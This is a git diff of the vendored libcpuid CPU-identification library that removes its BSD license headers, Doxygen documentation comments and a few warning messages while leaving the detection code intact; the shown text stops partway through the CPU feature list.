a/src/3rdparty/libcpuid/cpuid_main.c +++ b/src/3rdparty/libcpuid/cpuid_main.c @@ -1,28 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #include "libcpuid.h" #include "libcpuid_internal.h" #include "recog_intel.h" @@ -36,7 +11,7 @@ #include #include -/* Implementation: */ + static int _libcpiud_errno = ERR_OK; @@ -55,7 +30,7 @@ static void cpu_id_t_constructor(struct cpu_id_t* id) id->sse_size = -1; } -/* get_total_cpus() system specific code: uses OS routines to determine total number of CPUs */ + #ifdef __APPLE__ #include #include @@ -118,13 +93,10 @@ static int get_total_cpus(void) static int warning_printed = 0; if (!warning_printed) { warning_printed = 1; - warnf("Your system is not supported by libcpuid -- don't know how to detect the\n"); - warnf("total number of CPUs on your system. It will be reported as 1.\n"); - printf("Please use cpu_id_t.logical_cpus field instead.\n"); } return 1; } -#endif /* GET_TOTAL_CPUS_DEFINED */ +#endif static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* data) @@ -203,7 +175,7 @@ static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* da match_features(matchtable_edx87, COUNT_OF(matchtable_edx87), raw->ext_cpuid[7][3], data); } if (data->flags[CPU_FEATURE_SSE]) { - /* apply guesswork to check if the SSE unit width is 128 bit */ + switch (data->vendor) { case VENDOR_AMD: data->sse_size = (data->ext_family >= 16 && data->ext_family != 17) ? 128 : 64; @@ -214,8 +186,6 @@ static void load_features_common(struct cpu_raw_data_t* raw, struct cpu_id_t* da default: break; } - /* leave the CPU_FEATURE_128BIT_SSE_AUTH 0; the advanced per-vendor detection routines - * will set it accordingly if they detect the needed bit */ } } @@ -225,7 +195,7 @@ static cpu_vendor_t cpuid_vendor_identify(const uint32_t *raw_vendor, char *vend cpu_vendor_t vendor = VENDOR_UNKNOWN; const struct { cpu_vendor_t vendor; char match[16]; } matchtable[NUM_CPU_VENDORS] = { - /* source: http://www.sandpile.org/ia32/cpuid.htm */ + { VENDOR_INTEL , "GenuineIntel" }, { VENDOR_AMD , "AuthenticAMD" }, { VENDOR_CYRIX , "CyrixInstead" }, @@ -243,7 +213,7 @@ static cpu_vendor_t cpuid_vendor_identify(const uint32_t *raw_vendor, char *vend memcpy(vendor_str + 8, &raw_vendor[2], 4); vendor_str[12] = 0; - /* Determine vendor: */ + for (i = 0; i < NUM_CPU_VENDORS; i++) if (!strcmp(vendor_str, matchtable[i].match)) { vendor = matchtable[i].vendor; @@ -275,7 +245,7 @@ static int cpuid_basic_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* dat } ext = raw->ext_cpuid[0][0] - 0x8000000; - /* obtain the brand string, if present: */ + if (ext >= 4) { for (i = 0; i < 3; i++) for (j = 0; j < 4; j++) @@ -292,7 +262,7 @@ static int cpuid_basic_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* dat return set_error(ERR_OK); } -/* Interface: */ + int cpuid_get_total_cpus(void) { diff --git a/src/3rdparty/libcpuid/intel_code_t.h b/src/3rdparty/libcpuid/intel_code_t.h index 718ca337..0739ca94 100644 --- a/src/3rdparty/libcpuid/intel_code_t.h +++ b/src/3rdparty/libcpuid/intel_code_t.h @@ -1,33 +1,3 @@ -/* - * Copyright 2016 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This file contains a list of internal codes we use in detection. It is - * of no external use and isn't a complete list of intel products. - */ CODE2(PENTIUM, 2000), CODE(IRWIN), diff --git a/src/3rdparty/libcpuid/libcpuid.h b/src/3rdparty/libcpuid/libcpuid.h index c44990c3..2c7088de 100644 --- a/src/3rdparty/libcpuid/libcpuid.h +++ b/src/3rdparty/libcpuid/libcpuid.h @@ -1,677 +1,291 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #ifndef __LIBCPUID_H__ #define __LIBCPUID_H__ -/** - * \file libcpuid.h - * \author Veselin Georgiev - * \date Oct 2008 - * \version 0.4.0 - * - * Version history: - * - * * 0.1.0 (2008-10-15): initial adaptation from wxfractgui sources - * * 0.1.1 (2009-07-06): Added intel_fn11 fields to cpu_raw_data_t to handle - * new processor topology enumeration required on Core i7 - * * 0.1.2 (2009-09-26): Added support for MSR reading through self-extracting - * kernel driver on Win32. - * * 0.1.3 (2010-04-20): Added support for greater more accurate CPU clock - * measurements with cpu_clock_by_ic() - * * 0.2.0 (2011-10-11): Support for AMD Bulldozer CPUs, 128-bit SSE unit size - * checking. A backwards-incompatible change, since the - * sizeof cpu_id_t is now different. - * * 0.2.1 (2012-05-26): Support for Ivy Bridge, and detecting the presence of - * the RdRand instruction. - * * 0.2.2 (2015-11-04): Support for newer processors up to Haswell and Vishera. - * Fix clock detection in cpu_clock_by_ic() for Bulldozer. - * More entries supported in cpu_msrinfo(). - * *BSD and Solaris support (unofficial). - * * 0.3.0 (2016-07-09): Support for Skylake; MSR ops in FreeBSD; INFO_VOLTAGE - * for AMD CPUs. Level 4 cache support for Crystalwell - * (a backwards-incompatible change since the sizeof - * cpu_raw_data_t is now different). - * * 0.4.0 (2016-09-30): Better detection of AMD clock multiplier with msrinfo. - * Support for Intel SGX detection - * (a backwards-incompatible change since the sizeof - * cpu_raw_data_t and cpu_id_t is now different). - */ - -/** @mainpage A simple libcpuid introduction - * - * LibCPUID provides CPU identification and access to the CPUID and RDTSC - * instructions on the x86. - *

- * To execute CPUID, use \ref cpu_exec_cpuid
- * To execute RDTSC, use \ref cpu_rdtsc
- * To fetch the CPUID info needed for CPU identification, use - * \ref cpuid_get_raw_data
- * To make sense of that data (decode, extract features), use \ref cpu_identify
- * To detect the CPU speed, use either \ref cpu_clock, \ref cpu_clock_by_os, - * \ref cpu_tsc_mark + \ref cpu_tsc_unmark + \ref cpu_clock_by_mark, - * \ref cpu_clock_measure or \ref cpu_clock_by_ic. - * Read carefully for pros/cons of each method.
- * - * To read MSRs, use \ref cpu_msr_driver_open to get a handle, and then - * \ref cpu_rdmsr for querying abilities. Some MSR decoding is available on recent - * CPUs, and can be queried through \ref cpu_msrinfo; the various types of queries - * are described in \ref cpu_msrinfo_request_t. - *

- */ - -/** @defgroup libcpuid LibCPUID - @{ */ - -/* Include some integer type specifications: */ #include "libcpuid_types.h" -/* Some limits and other constants */ #include "libcpuid_constants.h" #ifdef __cplusplus extern "C" { #endif -/** - * @brief CPU vendor, as guessed from the Vendor String. - */ typedef enum { - VENDOR_INTEL = 0, /*!< Intel CPU */ - VENDOR_AMD, /*!< AMD CPU */ - VENDOR_CYRIX, /*!< Cyrix CPU */ - VENDOR_NEXGEN, /*!< NexGen CPU */ - VENDOR_TRANSMETA, /*!< Transmeta CPU */ - VENDOR_UMC, /*!< x86 CPU by UMC */ - VENDOR_CENTAUR, /*!< x86 CPU by IDT */ - VENDOR_RISE, /*!< x86 CPU by Rise Technology */ - VENDOR_SIS, /*!< x86 CPU by SiS */ - VENDOR_NSC, /*!< x86 CPU by National Semiconductor */ + VENDOR_INTEL = 0, + VENDOR_AMD, + VENDOR_CYRIX, + VENDOR_NEXGEN, + VENDOR_TRANSMETA, + VENDOR_UMC, + VENDOR_CENTAUR, + VENDOR_RISE, + VENDOR_SIS, + VENDOR_NSC, - NUM_CPU_VENDORS, /*!< Valid CPU vendor ids: 0..NUM_CPU_VENDORS - 1 */ + NUM_CPU_VENDORS, VENDOR_UNKNOWN = -1, } cpu_vendor_t; #define NUM_CPU_VENDORS NUM_CPU_VENDORS - -/** - * @brief Contains just the raw CPUID data. - * - * This contains only the most basic CPU data, required to do identification - * and feature recognition. Every processor should be identifiable using this - * data only. - */ struct cpu_raw_data_t { - /** contains results of CPUID for eax = 0, 1, ...*/ + uint32_t basic_cpuid[MAX_CPUID_LEVEL][4]; - /** contains results of CPUID for eax = 0x80000000, 0x80000001, ...*/ + uint32_t ext_cpuid[MAX_EXT_CPUID_LEVEL][4]; - /** when the CPU is intel and it supports deterministic cache - information: this contains the results of CPUID for eax = 4 - and ecx = 0, 1, ... */ uint32_t intel_fn4[MAX_INTELFN4_LEVEL][4]; - - /** when the CPU is intel and it supports leaf 0Bh (Extended Topology - enumeration leaf), this stores the result of CPUID with - eax = 11 and ecx = 0, 1, 2... */ uint32_t intel_fn11[MAX_INTELFN11_LEVEL][4]; - - /** when the CPU is intel and supports leaf 12h (SGX enumeration leaf), - * this stores the result of CPUID with eax = 0x12 and - * ecx = 0, 1, 2... */ uint32_t intel_fn12h[MAX_INTELFN12H_LEVEL][4]; - - /** when the CPU is intel and supports leaf 14h (Intel Processor Trace - * capabilities leaf). - * this stores the result of CPUID with eax = 0x12 and - * ecx = 0, 1, 2... */ uint32_t intel_fn14h[MAX_INTELFN14H_LEVEL][4]; }; - -/** - * @brief This contains information about SGX features of the processor - * Example usage: - * @code - * ... - * struct cpu_raw_data_t raw; - * struct cpu_id_t id; - * - * if (cpuid_get_raw_data(&raw) == 0 && cpu_identify(&raw, &id) == 0 && id.sgx.present) { - * printf("SGX is present.\n"); - * printf("SGX1 instructions: %s.\n", id.sgx.flags[INTEL_SGX1] ? "present" : "absent"); - * printf("SGX2 instructions: %s.\n", id.sgx.flags[INTEL_SGX2] ? "present" : "absent"); - * printf("Max 32-bit enclave size: 2^%d bytes.\n", id.sgx.max_enclave_32bit); - * printf("Max 64-bit enclave size: 2^%d bytes.\n", id.sgx.max_enclave_64bit); - * for (int i = 0; i < id.sgx.num_epc_sections; i++) { - * struct cpu_epc_t epc = cpuid_get_epc(i, NULL); - * printf("EPC section #%d: address = %x, size = %d bytes.\n", epc.address, epc.size); - * } - * } else { - * printf("SGX is not present.\n"); - * } - * @endcode - */ struct cpu_sgx_t { - /** Whether SGX is present (boolean) */ + uint32_t present; - - /** Max enclave size in 32-bit mode. This is a power-of-two value: - * if it is "31", then the max enclave size is 2^31 bytes (2 GiB). - */ uint8_t max_enclave_32bit; - - /** Max enclave size in 64-bit mode. This is a power-of-two value: - * if it is "36", then the max enclave size is 2^36 bytes (64 GiB). - */ uint8_t max_enclave_64bit; - - /** - * contains SGX feature flags. See the \ref cpu_sgx_feature_t - * "INTEL_SGX*" macros below. - */ uint8_t flags[SGX_FLAGS_MAX]; - - /** number of Enclave Page Cache (EPC) sections. Info for each - * section is available through the \ref cpuid_get_epc() function - */ int num_epc_sections; - - /** bit vector of the supported extended features that can be written - * to the MISC region of the SSA (Save State Area) - */ uint32_t misc_select; - - /** a bit vector of the attributes that can be set to SECS.ATTRIBUTES - * via ECREATE. Corresponds to bits 0-63 (incl.) of SECS.ATTRIBUTES. - */ uint64_t secs_attributes; - - /** a bit vector of the bits that can be set in the XSAVE feature - * request mask; Corresponds to bits 64-127 of SECS.ATTRIBUTES. - */ uint64_t secs_xfrm; }; - -/** - * @brief This contains the recognized CPU features/info - */ struct cpu_id_t { - /** contains the CPU vendor string, e.g. "GenuineIntel" */ + char vendor_str[VENDOR_STR_MAX]; - /** contains the brand string, e.g. "Intel(R) Xeon(TM) CPU 2.40GHz" */ + char brand_str[BRAND_STR_MAX]; - /** contains the recognized CPU vendor */ - cpu_vendor_t vendor; - /** - * contain CPU flags. Used to test for features. See - * the \ref cpu_feature_t "CPU_FEATURE_*" macros below. - * @see Features - */ + cpu_vendor_t vendor; uint8_t flags[CPU_FLAGS_MAX]; - /** CPU family */ + int32_t family; - /** CPU model */ + int32_t model; - /** CPU stepping */ + int32_t stepping; - /** CPU extended family */ + int32_t ext_family; - /** CPU extended model */ + int32_t ext_model; - /** Number of CPU cores on the current processor */ + int32_t num_cores; - - /** - * Number of logical processors on the current processor. - * Could be more than the number of physical cores, - * e.g. when the processor has HyperThreading. - */ int32_t num_logical_cpus; - - /** - * The total number of logical processors. - * The same value is availabe through \ref cpuid_get_total_cpus. - * - * This is num_logical_cpus * {total physical processors in the system} - * (but only on a real system, under a VM this number may be lower). - * - * If you're writing a multithreaded program and you want to run it on - * all CPUs, this is the number of threads you need. - * - * @note in a VM, this will exactly match the number of CPUs set in - * the VM's configuration. - * - */ int32_t total_logical_cpus; - - /** - * L1 data cache size in KB. Could be zero, if the CPU lacks cache. - * If the size cannot be determined, it will be -1. - */ int32_t l1_data_cache; - - /** - * L1 instruction cache size in KB. Could be zero, if the CPU lacks - * cache. If the size cannot be determined, it will be -1. - * @note On some Intel CPUs, whose instruction cache is in fact - * a trace cache, the size will be expressed in K uOps. - */ int32_t l1_instruction_cache; - - /** - * L2 cache size in KB. Could be zero, if the CPU lacks L2 cache. - * If the size of the cache could not be determined, it will be -1 - */ int32_t l2_cache; - /** L3 cache size in KB. Zero on most systems */ + int32_t l3_cache; - /** L4 cache size in KB. Zero on most systems */ + int32_t l4_cache; - /** Cache associativity for the L1 data cache. -1 if undetermined */ + int32_t l1_assoc; - /** Cache associativity for the L2 cache. -1 if undetermined */ + int32_t l2_assoc; - /** Cache associativity for the L3 cache. -1 if undetermined */ + int32_t l3_assoc; - /** Cache associativity for the L4 cache. -1 if undetermined */ + int32_t l4_assoc; - /** Cache-line size for L1 data cache. -1 if undetermined */ + int32_t l1_cacheline; - /** Cache-line size for L2 cache. -1 if undetermined */ + int32_t l2_cacheline; - /** Cache-line size for L3 cache. -1 if undetermined */ + int32_t l3_cacheline; - /** Cache-line size for L4 cache. -1 if undetermined */ + int32_t l4_cacheline; - - /** - * The brief and human-friendly CPU codename, which was recognized.
- * Examples: - * @code - * +--------+--------+-------+-------+-------+---------------------------------------+-----------------------+ - * | Vendor | Family | Model | Step. | Cache | Brand String | cpu_id_t.cpu_codename | - * +--------+--------+-------+-------+-------+---------------------------------------+-----------------------+ - * | AMD | 6 | 8 | 0 | 256 | (not available - will be ignored) | "K6-2" | - * | Intel | 15 | 2 | 5 | 512 | "Intel(R) Xeon(TM) CPU 2.40GHz" | "Xeon (Prestonia)" | - * | Intel | 6 | 15 | 11 | 4096 | "Intel(R) Core(TM)2 Duo CPU E6550..." | "Conroe (Core 2 Duo)" | - * | AMD | 15 | 35 | 2 | 1024 | "Dual Core AMD Opteron(tm) Proces..." | "Opteron (Dual Core)" | - * +--------+--------+-------+-------+-------+---------------------------------------+-----------------------+ - * @endcode - */ char cpu_codename[64]; - /** SSE execution unit size (64 or 128; -1 if N/A) */ - int32_t sse_size; - /** - * contain miscellaneous detection information. Used to test about specifics of - * certain detected features. See \ref cpu_hint_t "CPU_HINT_*" macros below. - * @see Hints - */ + int32_t sse_size; uint8_t detection_hints[CPU_HINTS_MAX]; - /** contains information about SGX features if the processor, if present */ + struct cpu_sgx_t sgx; }; - -/** - * @brief CPU feature identifiers - * - * Usage: - * @code - * ... - * struct cpu_raw_data_t raw; - * struct cpu_id_t id; - * if (cpuid_get_raw_data(&raw) == 0 && cpu_identify(&raw, &id) == 0) { - * if (id.flags[CPU_FEATURE_SSE2]) { - * // The CPU has SSE2... - * ... - * } else { - * // no SSE2 - * } - * } else { - * // processor cannot be determined. - * } - * @endcode - */ typedef enum { - CPU_FEATURE_FPU = 0, /*!< Floating point unit */ - CPU_FEATURE_VME, /*!< Virtual mode extension */ - CPU_FEATURE_DE, /*!< Debugging extension */ - CPU_FEATURE_PSE, /*!< Page size extension */ - CPU_FEATURE_TSC, /*!< Time-stamp counter */ - CPU_FEATURE_MSR, /*!< Model-specific regsisters, RDMSR/WRMSR supported */ - CPU_FEATURE_PAE, /*!< Physical address extension */ - CPU_FEATURE_MCE, /*!< Machine check exception */ - CPU_FEATURE_CX8, /*!< CMPXCHG8B instruction supported */ - CPU_FEATURE_APIC, /*!< APIC support */ - CPU_FEATURE_MTRR, /*!< Memory type range registers */ - CPU_FEATURE_SEP, /*!< SYSENTER / SYSEXIT instructions supported */ - CPU_FEATURE_PGE, /*!< Page global enable */ - CPU_FEATURE_MCA, /*!< Machine check architecture */ - CPU_FEATURE_CMOV, /*!< CMOVxx instructions supported */ - CPU_FEATURE_PAT, /*!< Page attribute table */ - CPU_FEATURE_PSE36, /*!< 36-bit page address extension */ - CPU_FEATURE_PN, /*!< Processor serial # implemented (Intel P3 only) */ - CPU_FEATURE_CLFLUSH, /*!< CLFLUSH instruction supported */ - CPU_FEATURE_DTS, /*!< Debug store supported */ - CPU_FEATURE_ACPI, /*!< ACPI support (power states) */ - CPU_FEATURE_MMX, /*!< MMX instruction set supported */ - CPU_FEATURE_FXSR, /*!< FXSAVE / FXRSTOR supported */ - CPU_FEATURE_SSE, /*!< Streaming-SIMD Extensions (SSE) supported */ - CPU_FEATURE_SSE2, /*!< SSE2 instructions supported */ - CPU_FEATURE_SS, /*!< Self-snoop */ - CPU_FEATURE_HT, /*!< Hyper-threading supported (but might be disabled) */ - CPU_FEATURE_TM, /*!< Thermal monitor */ - CPU_FEATURE_IA64, /*!< IA64 supported (Itanium only) */ - CPU_FEATURE_PBE, /*!< Pending-break enable */ - CPU_FEATURE_PNI, /*!< PNI (SSE3) instructions supported */ - CPU_FEATURE_PCLMUL, /*!< PCLMULQDQ instruction supported */ - CPU_FEATURE_DTS64, /*!< 64-bit Debug store supported */ - CPU_FEATURE_MONITOR, /*!< MONITOR / MWAIT supported */ - CPU_FEATURE_DS_CPL, /*!< CPL Qualified Debug Store */ - CPU_FEATURE_VMX, /*!< Virtualization technology supported */ - CPU_FEATURE_SMX, /*!< Safer mode exceptions */ - CPU_FEATURE_EST, /*!< Enhanced SpeedStep */ - CPU_FEATURE_TM2, /*!< Thermal monitor 2 */ - CPU_FEATURE_SSSE3, /*!< SSSE3 instructionss supported (this is different from SSE3!) */ - CPU_FEATURE_CID, /*!< Context ID supported */ - CPU_FEATURE_CX16, /*!< CMPXCHG16B instruction supported */ - CPU_FEATURE_XTPR, /*!< Send Task Priority Messages disable */ - CPU_FEATURE_PDCM, /*!< Performance capabilities MSR supported */ - CPU_FEATURE_DCA, /*!< Direct cache access supported */ - CPU_FEATURE_SSE4_1, /*!< SSE 4.1 instructions supported */ - CPU_FEATURE_SSE4_2, /*!< SSE 4.2 instructions supported */ - CPU_FEATURE_SYSCALL, /*!< SYSCALL / SYSRET instructions supported */ - CPU_FEATURE_XD, /*!< Execute disable bit supported */ - CPU_FEATURE_MOVBE, /*!< MOVBE instruction supported */ - CPU_FEATURE_POPCNT, /*!< POPCNT instruction supported */ - CPU_FEATURE_AES, /*!< AES* instructions supported */ - CPU_FEATURE_XSAVE, /*!< XSAVE/XRSTOR/etc instructions supported */ - CPU_FEATURE_OSXSAVE, /*!< non-privileged copy of OSXSAVE supported */ - CPU_FEATURE_AVX, /*!< Advanced vector extensions supported */ - CPU_FEATURE_MMXEXT, /*!< AMD MMX-extended instructions supported */ - CPU_FEATURE_3DNOW, /*!< AMD 3DNow! instructions supported */ - CPU_FEATURE_3DNOWEXT, /*!< AMD 3DNow! extended instructions supported */ - CPU_FEATURE_NX, /*!< No-execute bit supported */ - CPU_FEATURE_FXSR_OPT, /*!< FFXSR: FXSAVE and FXRSTOR optimizations */ - CPU_FEATURE_RDTSCP, /*!< RDTSCP instruction supported (AMD-only) */ - CPU_FEATURE_LM, /*!< Long mode (x86_64/EM64T) supported */ - CPU_FEATURE_LAHF_LM, /*!< LAHF/SAHF supported in 64-bit mode */ - CPU_FEATURE_CMP_LEGACY, /*!< core multi-processing legacy mode */ - CPU_FEATURE_SVM, /*!< AMD Secure virtual machine */ - CPU_FEATURE_ABM, /*!< LZCNT instruction support */ - CPU_FEATURE_MISALIGNSSE,/*!< Misaligned SSE supported */ - CPU_FEATURE_SSE4A, /*!< SSE 4a from AMD */ - CPU_FEATURE_3DNOWPREFETCH, /*!< PREFETCH/PREFETCHW support */ - CPU_FEATURE_OSVW, /*!< OS Visible Workaround (AMD) */ - CPU_FEATURE_IBS, /*!< Instruction-based sampling */ - CPU_FEATURE_SSE5, /*!< SSE 5 instructions supported (deprecated, will never be 1) */ - CPU_FEATURE_SKINIT, /*!< SKINIT / STGI supported */ - CPU_FEATURE_WDT, /*!< Watchdog timer support */ - CPU_FEATURE_TS, /*!< Temperature sensor */ - CPU_FEATURE_FID, /*!< Frequency ID control */ - CPU_FEATURE_VID, /*!< Voltage ID control */ - CPU_FEATURE_TTP, /*!< THERMTRIP */ - CPU_FEATURE_TM_AMD, /*!< AMD-specified hardware thermal control */ - CPU_FEATURE_STC, /*!< Software thermal control */ - CPU_FEATURE_100MHZSTEPS,/*!< 100 MHz multiplier control */ - CPU_FEATURE_HWPSTATE, /*!< Hardware P-state control */ - CPU_FEATURE_CONSTANT_TSC, /*!< TSC ticks at constant rate */ - CPU_FEATURE_XOP, /*!< The XOP instruction set (same as the old CPU_FEATURE_SSE5) */ - CPU_FEATURE_FMA3, /*!< The FMA3 instruction set */ - CPU_FEATURE_FMA4, /*!< The FMA4 instruction set */ - CPU_FEATURE_TBM, /*!< Trailing bit manipulation instruction support */ - CPU_FEATURE_F16C, /*!< 16-bit FP convert instruction support */ - CPU_FEATURE_RDRAND, /*!< RdRand instruction */ - CPU_FEATURE_X2APIC, /*!< x2APIC, APIC_BASE.EXTD, MSRs 0000_0800h...0000_0BFFh 64-bit ICR (+030h but not +031h), no DFR (+00Eh), SELF_IPI (+040h) also see standard level 0000_000Bh */ - CPU_FEATURE_CPB, /*!< Core performance boost */ - CPU_FEATURE_APERFMPERF, /*!< MPERF/APERF MSRs support */ - CPU_FEATURE_PFI, /*!< Processor Feedback Interface support */ - CPU_FEATURE_PA, /*!< Processor accumulator */ - CPU_FEATURE_AVX2, /*!< AVX2 instructions */ - CPU_FEATURE_BMI1, /*!< BMI1 instructions */ - CPU_FEATURE_BMI2, /*!< BMI2 instructions */ - CPU_FEATURE_HLE, /*!< Hardware Lock Elision prefixes */ - CPU_FEATURE_RTM, /*!< Restricted Transactional Memory instructions */ - CPU_FEATURE_AVX512F, /*!< AVX-512 Foundation */ - CPU_FEATURE_AVX512DQ, /*!< AVX-512 Double/Quad granular insns */ - CPU_FEATURE_AVX512PF, /*!< AVX-512 Prefetch */ - CPU_FEATURE_AVX512ER, /*!< AVX-512 Exponential/Reciprocal */ - CPU_FEATURE_AVX512CD, /*!< AVX-512 Conflict detection */ - CPU_FEATURE_SHA_NI, /*!< SHA-1/SHA-256 instructions */ - CPU_FEATURE_AVX512BW, /*!< AVX-512 Byte/Word granular insns */ - CPU_FEATURE_AVX512VL, /*!< AVX-512 128/256 vector length extensions */ - CPU_FEATURE_SGX, /*!< SGX extensions. Non-autoritative, check cpu_id_t::sgx::present to verify presence */ - CPU_FEATURE_RDSEED, /*!< RDSEED instruction */ - CPU_FEATURE_ADX, /*!< ADX extensions (arbitrary precision) */ - /* termination: */ + CPU_FEATURE_FPU = 0, + CPU_FEATURE_VME, + CPU_FEATURE_DE, + CPU_FEATURE_PSE, + CPU_FEATURE_TSC, + CPU_FEATURE_MSR, + CPU_FEATURE_PAE, + CPU_FEATURE_MCE, + CPU_FEATURE_CX8, + CPU_FEATURE_APIC, + CPU_FEATURE_MTRR, + CPU_FEATURE_SEP, + CPU_FEATURE_PGE, + CPU_FEATURE_MCA, + CPU_FEATURE_CMOV, + CPU_FEATURE_PAT, + CPU_FEATURE_PSE36, + CPU_FEATURE_PN, + CPU_FEATURE_CLFLUSH, + CPU_FEATURE_DTS, + CPU_FEATURE_ACPI, + CPU_FEATURE_MMX, + CPU_FEATURE_FXSR, + CPU_FEATURE_SSE, + CPU_FEATURE_SSE2, + CPU_FEATURE_SS, + CPU_FEATURE_HT, + CPU_FEATURE_TM, + CPU_FEATURE_IA64, + CPU_FEATURE_PBE, + CPU_FEATURE_PNI, + CPU_FEATURE_PCLMUL, + CPU_FEATURE_DTS64, + CPU_FEATURE_MONITOR, + CPU_FEATURE_DS_CPL, + CPU_FEATURE_VMX, + CPU_FEATURE_SMX, + CPU_FEATURE_EST, + CPU_FEATURE_TM2, + CPU_FEATURE_SSSE3, + CPU_FEATURE_CID, + CPU_FEATURE_CX16, + CPU_FEATURE_XTPR, + CPU_FEATURE_PDCM, + CPU_FEATURE_DCA, + CPU_FEATURE_SSE4_1, + CPU_FEATURE_SSE4_2, + CPU_FEATURE_SYSCALL, + CPU_FEATURE_XD, + CPU_FEATURE_MOVBE, + CPU_FEATURE_POPCNT, + CPU_FEATURE_AES, + CPU_FEATURE_XSAVE, + CPU_FEATURE_OSXSAVE, + CPU_FEATURE_AVX, + CPU_FEATURE_MMXEXT, + CPU_FEATURE_3DNOW, + CPU_FEATURE_3DNOWEXT, + CPU_FEATURE_NX, + CPU_FEATURE_FXSR_OPT, + CPU_FEATURE_RDTSCP, + CPU_FEATURE_LM, + CPU_FEATURE_LAHF_LM, + CPU_FEATURE_CMP_LEGACY, + CPU_FEATURE_SVM, + CPU_FEATURE_ABM, + CPU_FEATURE_MISALIGNSSE, + CPU_FEATURE_SSE4A, + CPU_FEATURE_3DNOWPREFETCH, + CPU_FEATURE_OSVW, + CPU_FEATURE_IBS, + CPU_FEATURE_SSE5, + CPU_FEATURE_SKINIT, + CPU_FEATURE_WDT, + CPU_FEATURE_TS, + CPU_FEATURE_FID, + CPU_FEATURE_VID, + CPU_FEATURE_TTP, + CPU_FEATURE_TM_AMD, + CPU_FEATURE_STC, + CPU_FEATURE_100MHZSTEPS, + CPU_FEATURE_HWPSTATE, + CPU_FEATURE_CONSTANT_TSC, + CPU_FEATURE_XOP, + CPU_FEATURE_FMA3, + CPU_FEATURE_FMA4, + CPU_FEATURE_TBM, + CPU_FEATURE_F16C, + CPU_FEATURE_RDRAND, + CPU_FEATURE_X2APIC, + CPU_FEATURE_CPB, + CPU_FEATURE_APERFMPERF, + CPU_FEATURE_PFI, + CPU_FEATURE_PA, + CPU_FEATURE_AVX2, + CPU_FEATURE_BMI1, + CPU_FEATURE_BMI2, + CPU_FEATURE_HLE, + CPU_FEATURE_RTM, + CPU_FEATURE_AVX512F, + CPU_FEATURE_AVX512DQ, + CPU_FEATURE_AVX512PF, + 